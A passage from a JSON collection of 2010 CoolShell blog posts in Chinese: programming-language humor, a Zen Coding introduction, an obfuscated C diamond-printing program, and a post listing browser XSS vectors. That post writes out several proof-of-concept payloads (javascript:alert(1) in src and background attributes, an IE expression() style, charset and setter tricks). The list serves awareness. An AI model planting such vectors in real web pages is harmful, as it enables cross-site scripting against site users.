，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9104.html\"><img alt=\"sed 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/sed-superman-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2324.html\">Unix传奇(下篇)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-10 新手该学哪门编程语言.html",
    "content": "<html><body><p>在某个论坛上看到有人在问——“Which programming language should I learn first？”，看到了下面的这个回答，有点意思。</p>\n<blockquote><p>Depends.</p>\n<ul>\n<li>To program in an expressive and powerful language: <strong>Python</strong></li>\n<li>To get a website up quickly: <strong>PHP</strong></li>\n<li>To mingle with programmers who call themselves “rockstars”: <strong>Ruby</strong>.</li>\n<li>To really learn to program: <strong>C</strong>.</li>\n<li>To achieve enlightenment: <strong>Scheme</strong>.</li>\n<li>To feel depressed: <strong>SQL</strong></li>\n<li>To drop a chromosome: <strong>Microsoft Visual Basic</strong></li>\n<li>To get a guaranteed, mediocre, but well paying job writing financial applications in a cubicle under fluorescent lights: <strong>Java</strong>.</li>\n<li>To do the same thing with certifications and letters after your name: <strong>C#</strong></li>\n<li>To achieve a magical sense of childlike wonder that you have a hard time differentiating from megalomania: <strong>Objective C</strong></li>\n</ul>\n<p>I could go on… but I’m not feeling hateful enough today.</p></blockquote>\n<p>翻译如下：</p>\n<p><span id=\"more-2402\"></span></p>\n<blockquote><p>看你的需要了。</p>\n<ul>\n<li>如果你想找一门表达力和功能都很强的语言：Python</li>\n<li>如果你想更快速地开发WEB程序：PHP</li>\n<li>如果你想和那些“摇滚明星”的程序员为伍：Ruby</li>\n<li>如果你想学真正的编程：C</li>\n<li>如果你想顿入空门的话：Scheme</li>\n<li>如果你想压抑的话：SQL</li>\n<li>如果你想基因突变成为非人类的话：Microsoft Visual Basic</li>\n<li>如果你想要得到一个有保证的，但普普通通的，收入还不错的，在一间小卧室的荧光灯下写一些金融应用的工作：Java</li>\n<li>如果你想在你的名字后放上一些认证和证书：C#</li>\n<li>如果你想得到一些很难在自大狂和孩子气中区分的那种魔幻般的感觉：Objective C</li>\n</ul>\n<p>我还可以再写去，因为今天我还没有足够的愤怒。</p></blockquote>\n<p>跟着这个思路，我也补充几条吧，</p>\n<ul>\n<li>如果你想寻找在被虐中被大众称道的感觉：C++</li>\n<li>如果你想整天都在说Fxxk的脏话：JavaScript (<a href=\"https://coolshell.cn/articles/1850.html\" rel=\"bookmark\" target=\"_blank\">哪种程序员嘴最脏</a>)</li>\n<li>如果你想成为无所不能的BS一切的神：汇编</li>\n<li>如果你想成为一个像春哥或犀利哥一样真正的男人：Brainfuck （<a href=\"https://coolshell.cn/articles/1142.html\" rel=\"bookmark\" target=\"_blank\">BT雷人的程序语言</a>）</li>\n</ul>\n<p>呵呵，欢迎留下你的回答！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2402.html\">新手该学哪门编程语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-11 写HTML和CSS的新方法.html",
    "content": "<html><body><p></p>\n<div id=\"_mcePaste\"><strong><a href=\"http://code.google.com/p/zen-coding/\" target=\"_blank\">Zen Coding</a></strong> 一个用来简化编写 HTML，XML， XSL （或是其它一些诸如此类格式的编辑器）。其主要是用一种缩写方式的语法来书写大量重复和无味的HTML，很像CSS语法。下面是一个例子：</div>\n<pre>div#page&gt;div.logo+ul#navigation&gt;li*5&gt;a</pre>\n<div>展开后会成为下面这个样子：</div>\n<pre class=\"EnlighterJSRAW\">\n&lt;div id=\"page\"&gt;\n        &lt;div&gt;&lt;/div&gt;\n        &lt;ul id=\"navigation\"&gt;\n                &lt;li&gt;&lt;a href=\"\"&gt;&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"\"&gt;&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"\"&gt;&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"\"&gt;&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"\"&gt;&lt;/a&gt;&lt;/li&gt;\n        &lt;/ul&gt;\n&lt;/div&gt;\n</pre>\n<div id=\"_mcePaste\">可以看出来，#代表ID，&gt;代表下一层。</div>\n<div><span id=\"more-2406\"></span></div>\n<div>如果你写下：</div>\n<pre>select&gt;option#item-$*3</pre>\n<div>那么将会得到：</div>\n<pre class=\"EnlighterJSRAW\">\n\n&lt;select&gt;\n\t&lt;option id=\"item-1\"&gt;&lt;/option&gt;\n\t&lt;option id=\"item-2\"&gt;&lt;/option&gt;\n\t&lt;option id=\"item-3\"&gt;&lt;/option&gt;\n&lt;/select&gt;\n</pre>\n<div>看上去很不错吧。目前，其支持如下的编辑器：</div>\n<div>\n<p><span style=\"font-family: arial, sans-serif; line-height: normal;\"> </span></p>\n<ul>\n<li><a href=\"http://code.google.com/p/zen-coding/wiki/AptanaHowToEn\" style=\"color: #0000cc;\">AptanaHowToEn</a></li>\n<li><strong>TextMate</strong> (Mac). Available in two flavors: basic snippets (Zen HTML and Zen CSS) and full-featured plugin (ZenCoding for TextMate). <sub>Bundles &gt; Zen Coding menu item</sub></li>\n<li><strong>Coda</strong> (Mac) — <a href=\"http://github.com/sergeche/tea-for-coda/downloads\" rel=\"nofollow\" style=\"color: #0000cc;\">external download</a>, via <a href=\"http://onecrayon.com/tea/\" rel=\"nofollow\" style=\"color: #0000cc;\">TEA for Coda</a>. <sub>Plug-ins &gt; TEA for Coda &gt; Zen Coding menu item</sub></li>\n<li><strong>Espresso</strong> (Mac) — <a href=\"http://github.com/sergeche/tea-for-espresso/downloads\" rel=\"nofollow\" style=\"color: #0000cc;\">external download</a>, via <a href=\"http://onecrayon.com/tea/\" rel=\"nofollow\" style=\"color: #0000cc;\">TEA for Espresso</a>. Zen Coding is bundled with Espresso by default, but you should upgrade ZC to latest version. <sub>Actions &gt; HTML menu item</sub></li>\n<li><strong>Komodo Edit/IDE</strong> (crossplatform) — <a href=\"http://community.activestate.com/xpi/zen-coding\" rel=\"nofollow\" style=\"color: #0000cc;\">external download</a>. <sub>Tools &gt; Zen Coding menu item</sub></li>\n<li><strong>Notepad++</strong> (Windows). <sub>Zen Coding menu item</sub></li>\n<li><strong>PSPad</strong> (Windows). <sub>Scripts &gt; Zen Coding menu item</sub></li>\n<li><strong><tt style=\"font-size: 13px;\">&lt;textarea&gt;</tt></strong> (browser-based). See <a href=\"http://zen-coding.ru/textarea/\" rel=\"nofollow\" style=\"color: #0000cc;\">online demo</a>.</li>\n<li><strong>editArea</strong> (browser-based). See <a href=\"http://zen-coding.ru/demo/\" rel=\"nofollow\" style=\"color: #0000cc;\">online demo</a>.</li>\n</ul>\n</div>\n<p>还有下面这些第三方的插件：</p>\n<ul>\n<li><strong>Dreamweaver</strong> (Windows, Mac)</li>\n<li><strong>Sublime Text</strong> (Windows)</li>\n<li><strong>UltraEdit</strong> (Windows)</li>\n<li><strong>TopStyle</strong> (Windows)</li>\n<li><strong>GEdit</strong> (crossplatform) — <a href=\"http://github.com/fmarcia/zen-coding-gedit\" rel=\"nofollow\">Franck Marcia’s plugin</a>, <a href=\"http://github.com/mikecrittenden/zen-coding-gedit\" rel=\"nofollow\">Mike Crittenden’s plugin</a></li>\n<li><strong>BBEdit/TextWrangler</strong> (Mac) — <a href=\"http://www.angelwatt.com/coding/zen-coding_bbedit.php\" rel=\"nofollow\">external download</a></li>\n<li><strong>Visual Studio</strong> (Windows) — <a href=\"http://zencoding.codeplex.com/\" rel=\"nofollow\">external download</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3063.html\"><img alt=\"40个很不错的CSS技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3063.html\">40个很不错的CSS技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2406.html\">写HTML和CSS的新方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-12 HTML 安全列表.html",
    "content": "<html><body><p>下面这个网站罗列了，几乎所有的关于HTML 5 在各种主流浏览器上的安全问题，这些安全问题很有可能将会是黑客攻击你的网上的敲门砖，他们几乎都和Javascript都有关系，你就要好好注意了。</p>\n<p style=\"text-align: center;\"><a href=\"http://heideri.ch/jso/\" target=\"_blank\"><strong>http://heideri.ch/jso/</strong></a></p>\n<p style=\"text-align: left;\">下面罗列几个：</p>\n<p style=\"text-align: left;\"><strong>1）&lt;table background=”javascript:alert(1)”&gt;</strong></p>\n<p style=\"text-align: left;\">IE6，7，8，9，和Opera 8.x, 9.x, 10.x 都支持这样的语法。</p>\n<p style=\"text-align: left;\"><strong>2）&lt;meta charset=”mac-farsi”&gt;¼script¾alert(1)¼/script¾</strong></p>\n<p style=\"text-align: left;\">这个问题会存在于所有的Firefox版本中，可以让用户进行XSS（跨站脚本）攻击</p>\n<p style=\"text-align: left;\"><strong>3）&lt;script&gt;&amp;amp;#x61;l&amp;amp;#x65;rt&amp;amp;#40;1)&lt;/script&gt;</strong></p>\n<p style=\"text-align: left;\">在&lt;script&gt;和&lt;style&gt;的TAG间，根据标据，其可以使用这样的字符来运行脚本。这在所有版本的Firefox, Opera, 和 Chrome中都会有问题。</p>\n<p style=\"text-align: left;\"><span id=\"more-2416\"></span></p>\n<p style=\"text-align: left;\"><strong>4）({set/**/$($){_/**/setter=$,_=1}}).$=alert</strong></p>\n<p style=\"text-align: left;\">上面这个是Firefox的一个<a href=\"https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide/Working_with_Objects#Defining_Getters_and_Setters\" target=\"_blank\">语法</a>，也会产生XSS攻击。</p>\n<p style=\"text-align: left;\"><strong>5）&lt;div style=”font-family:foo}x=expression(write(1));”&gt;XXX&lt;/div&gt;</strong></p>\n<p style=\"text-align: left;\">自从IE5.5后，直到IE9，IE就可以支持上面这样的语法。</p>\n<p style=\"text-align: left;\"><strong>6）src中是可以运行脚本的，如：</strong></p>\n<p style=\"text-align: left; padding-left: 30px;\">&lt;embed src=”javascript:alert(1)”&gt;<br/>\n&lt;img src=”javascript:alert(1)”&gt;<br/>\n&lt;image src=”javascript:alert(1)”&gt;<br/>\n&lt;script src=”javascript:alert(1)”&gt;</p>\n<p style=\"text-align: left;\">又一个XSS攻击，几乎所有的浏览器都支持这样的方式，如：Firefox全部版本，Chrome 4.x/5.x，Opera 8.x/9.x/10.0，IE 6.0/7.0和Safari 3.x/4.x</p>\n<p style=\"text-align: left;\">\n</p><p style=\"text-align: left;\">还有很多，大家自己去看吧，这个网站经常更新的。总体感觉下来，IE和Firefox的安全问题都在伯仲之间，Safari貌似是问题最少的。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21708.html\"><img alt=\"网络数字身份认证术\" height=\"150\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17607.html\"><img alt=\"从 MongoDB “赎金事件” 看安全问题\" height=\"150\" src=\"../wp-content/uploads/2017/01/MongoDB-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17607.html\">从 MongoDB “赎金事件” 看安全问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2416.html\">HTML 安全列表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-13 老手是这样教新手编程的.html",
    "content": "<html><body><p>comp.lang.c全球最大的C语言新闻组，其Google的链接是：<a href=\"http://groups.google.com/group/comp.lang.c/\" target=\"_blank\">http://groups.google.com/group/comp.lang.c/</a> 可惜被GFW了。在comp.lang.c新闻组，有一个日本网友发了个<a href=\"http://groups.google.com/group/comp.lang.c/browse_thread/thread/9f3faa6af28577f2/e105e5d339edec01?hide_quotes=no\" target=\"_blank\">贴子</a>，说他正在学习一个在线的C语言课程，要完成一个作业，用程序输出如下的结果，而他的老师在美国，因为时差问题，他无法和他联系，所以只有上这里来寻求帮助。</p>\n<pre style=\"text-align: left; font-family: 'Consolas','Courier New', Courier, monospace;\">    *\n   ***\n  *****\n *******\n*********\n*********\n *******\n  *****\n   ***\n    *</pre>\n<p>很明显，在comp.lang.c上发这种贴子是一定会被拍的很惨的，这样的事，以前在SUN的论坛上也发生过，<a href=\"https://coolshell.cn/articles/1391.html\" target=\"_blank\">详情请看这里</a>。还有一个去软件<a href=\"https://coolshell.cn/articles/1693.html\" target=\"_blank\">官网上要一个盗版序列号</a>的。果不然后，我看到了这样的一个<a href=\"http://groups.google.com/group/comp.lang.c/msg/e105e5d339edec01\" target=\"_blank\">回贴</a>。提供这样的一段代码：</p>\n<p><span id=\"more-2420\"></span></p>\n<pre class=\"EnlighterJSRAW\">\n#define      M 002354l\n#define     A   000644l\n#define    G     000132l\n#define     I   000322l\n#define      C 000374l\n#define                a ;\n#define               b for\n#define              c    ++\n#define             d       %\n#define            e       int\n#define           f           ,\n#define          g             -\n#define         h             011\n#define        i                 =\n#define       j                   {\n#define      k                     )\n#define     l                    '\\n'\n#define    m                      main\n#define    n                         &lt;\n#define     o                       }\n#define      p                     &gt;\n#define       q                  &amp;&amp;\n#define        r                 (\n#define         s              ||\n#define          t             ?\n#define           u     putchar\n#define            v      void\n#define             w     '*'\n#define              x     :\n#define               y ' '\n#define                _ /\n#define           C_O_O_L return\n                   e u r e k a\n                         e\n                        m r\n                       v k j\n                      j j j j\n                     j j j j j\n                    j j j j j j\n                   j j j j j j j\n                  j e z a b r z i\n                 M _ A _ G _ I _ C\n                a z n G a u r z d h\n               + z _ h p M _ A q z d\n              h + z _ h n M _ G q z _\n             h n z d h + M _ I q z _ h\n            p z d h g M _ C t w x y k f\n           z d h g h + 1 s u r l k f z c\n          k a u r l k a j j j j j j j j j\n         j j C_O_O_L M _ A _ G _ I _ C a o\n        o o o o o o o o o o o o o o o o o o\n                      o o o o\n                      o o o o\n                      o o o o\n                      o o o o\n</pre>\n<p>这段程序是可以编译通过的，没有任何问题，而且还是可以得到正确的结果的。关于这样的程序，你可以参考本站的这篇文章《<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\" title=\"6个变态的C语言Hello World程序\">6个变态的C语言Hello World程序</a>》，而另一篇文章教你<a href=\"https://coolshell.cn/articles/933.html\">如何搞乱你的C代码</a>。呵呵。当然，你并不需要把在你的VC或是GCC下编译这段代码，现在什么都有在线了，编译器当然也在线了，这里是一篇关于<a href=\"https://coolshell.cn/articles/1310.html\" target=\"_blank\">在线编译器的文章</a>，甚至一个<a href=\"https://coolshell.cn/articles/1883.html\" target=\"_blank\">在线的IDE</a>（连这个网站的CTO都在本站<a href=\"https://coolshell.cn/articles/1883.html#comment-2234\" target=\"_blank\">留言</a>了），上去编译一下你就可以看到<a href=\"http://codepad.org/Rh6icaWU\" target=\"_blank\">结果</a>了。</p>\n<p>最后，不恶搞了，在comp.lang.c的这个贴子中看到了很多不错的“如何教新手编程”的观点，下面罗列一些：</p>\n<p>1）你把你自认为最好程序贴出来，我会帮你看的，但我是不会帮你写的。</p>\n<p>2）要解决这个问题，你需要先观察输出，然后找到其规律，算法总是去描述一些有规律的事情。关于你的这个程序，很明显，你可以分成两个部分，一个正三角，一个倒三角，每一行的星号都是连续的奇数，1，3，5，7，9，而前面的空格又是顺序的自然数：4，3，2，1，你看这样的规律用程序来干不是正合适吗？</p>\n<p>从这两个例子，我们可以看到，老手应该如何去教新手，那就是，a）让其独立思考，b）步步为营的引导，c）教一种方法而不是直接给答案。希望与大家共勉。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2420.html\">老手是这样教新手编程的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-14 十条不错的编程观点.html",
